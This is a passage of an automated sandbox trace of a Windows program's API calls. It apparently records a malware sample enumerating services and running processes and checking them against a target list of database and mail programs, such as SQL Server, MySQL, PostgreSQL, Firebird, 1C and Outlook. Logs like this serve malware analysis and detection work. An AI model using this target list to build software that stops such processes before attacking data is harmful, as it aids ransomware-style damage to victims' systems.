lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0035.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0035.509] lstrlenW (lpString="MpsSvc") returned 6 [0035.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0035.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0035.509] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0035.509] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0035.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0035.509] lstrlenW (lpString="Netman") returned 6 [0035.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0035.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0035.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0035.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0035.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0035.509] lstrlenW (lpString="netprofm") returned 8 [0035.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0035.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0035.509] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0035.509] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0035.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0035.510] lstrlenW (lpString="NlaSvc") returned 6 [0035.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0035.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0035.510] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0035.510] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0035.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0035.510] lstrlenW (lpString="nsi") returned 3 [0035.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0035.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0035.510] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0035.510] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0035.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0035.510] lstrlenW (lpString="PcaSvc") returned 6 [0035.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0035.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0035.510] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0035.510] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0035.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0035.510] lstrlenW (lpString="PlugPlay") returned 8 [0035.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0035.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0035.510] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0035.510] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0035.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0035.510] lstrlenW (lpString="Power") returned 5 [0035.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0035.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0035.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0035.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0035.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0035.510] lstrlenW (lpString="ProfSvc") returned 7 [0035.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0035.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0035.511] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0035.511] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0035.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0035.511] lstrlenW (lpString="RpcEptMapper") returned 12 [0035.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.511] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0035.511] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0035.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0035.511] lstrlenW (lpString="RpcSs") returned 5 [0035.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0035.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0035.511] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0035.511] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0035.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0035.511] lstrlenW (lpString="SamSs") returned 5 [0035.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0035.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0035.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0035.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0035.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0035.511] lstrlenW (lpString="Schedule") returned 8 [0035.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0035.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0035.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0035.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0035.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0035.511] lstrlenW (lpString="SENS") returned 4 [0035.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0035.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0035.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0035.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0035.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0035.512] lstrlenW (lpString="ShellHWDetection") returned 16 [0035.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.512] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0035.512] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0035.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0035.512] lstrlenW (lpString="Spooler") returned 7 [0035.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0035.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0035.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0035.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0035.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0035.512] lstrlenW (lpString="SysMain") returned 7 [0035.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0035.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0035.512] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0035.512] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0035.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0035.512] lstrlenW (lpString="Themes") returned 6 [0035.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0035.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0035.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0035.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0035.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0035.512] lstrlenW (lpString="TrkWks") returned 6 [0035.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0035.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0035.512] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0035.512] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0035.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0035.512] lstrlenW (lpString="UxSms") returned 5 [0035.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0035.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0035.513] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0035.513] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0035.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0035.513] lstrlenW (lpString="VSS") returned 3 [0035.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0035.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0035.513] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0035.513] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0035.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0035.513] lstrlenW (lpString="WdiServiceHost") returned 14 [0035.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.513] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0035.513] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0035.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0035.513] lstrlenW (lpString="WdiSystemHost") returned 13 [0035.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.513] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0035.513] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0035.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0035.513] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0035.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.513] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0035.513] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0035.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0035.513] lstrlenW (lpString="Winmgmt") returned 7 [0035.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0035.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0035.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0035.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0035.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0035.514] lstrlenW (lpString="WPDBusEnum") returned 10 [0035.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.514] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0035.514] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0035.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0035.514] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0035.514] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0035.517] Process32FirstW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.518] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0035.518] lstrlenW (lpString="System") returned 6 [0035.518] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0035.519] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0035.519] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0035.519] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0035.519] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0035.519] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0035.519] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0035.519] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0035.519] lstrlenW (lpString="smss.exe") returned 8 [0035.519] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0035.519] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0035.519] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0035.519] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0035.519] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0035.519] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0035.520] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0035.520] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.520] lstrlenW (lpString="csrss.exe") returned 9 [0035.520] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.520] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0035.520] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0035.520] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0035.520] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0035.521] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0035.521] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0035.521] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0035.521] lstrlenW (lpString="wininit.exe") returned 11 [0035.521] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0035.521] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0035.521] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0035.521] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0035.521] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0035.521] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0035.521] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0035.521] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.522] lstrlenW (lpString="csrss.exe") returned 9 [0035.522] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.522] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0035.523] lstrlenW (lpString="winlogon.exe") returned 12 [0035.523] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0035.523] lstrlenW (lpString="services.exe") returned 12 [0035.523] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0035.524] lstrlenW (lpString="lsass.exe") returned 9 [0035.524] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0035.525] lstrlenW (lpString="lsm.exe") returned 7 [0035.525] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.525] lstrlenW (lpString="svchost.exe") returned 11 [0035.525] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.526] lstrlenW (lpString="svchost.exe") returned 11 [0035.526] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.527] lstrlenW (lpString="svchost.exe") returned 11 [0035.527] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.527] lstrlenW (lpString="svchost.exe") returned 11 [0035.527] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.528] lstrlenW (lpString="svchost.exe") returned 11 [0035.528] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0035.529] lstrlenW (lpString="audiodg.exe") returned 11 [0035.529] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.529] lstrlenW (lpString="svchost.exe") returned 11 [0035.529] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.530] lstrlenW (lpString="svchost.exe") returned 11 [0035.530] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0035.530] lstrlenW (lpString="dwm.exe") returned 7 [0035.531] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0035.531] lstrlenW (lpString="explorer.exe") returned 12 [0035.531] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0035.532] lstrlenW (lpString="spoolsv.exe") returned 11 [0035.532] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.532] lstrlenW (lpString="taskhost.exe") returned 12 [0035.533] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.533] lstrlenW (lpString="svchost.exe") returned 11 [0035.533] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0035.534] lstrlenW (lpString="taskeng.exe") returned 11 [0035.534] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.534] lstrlenW (lpString="taskhost.exe") returned 12 [0035.534] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0035.535] lstrlenW (lpString="presidential.exe") returned 16 [0035.535] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0035.536] lstrlenW (lpString="ol-filing.exe") returned 13 [0035.536] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0035.536] lstrlenW (lpString="overcome.exe") returned 12 [0035.536] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0035.537] lstrlenW (lpString="declinedreferral.exe") returned 20 [0035.537] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0035.538] lstrlenW (lpString="franciscotrack.exe") returned 18 [0035.538] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0035.914] lstrlenW (lpString="nicholas.exe") returned 12 [0035.915] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, 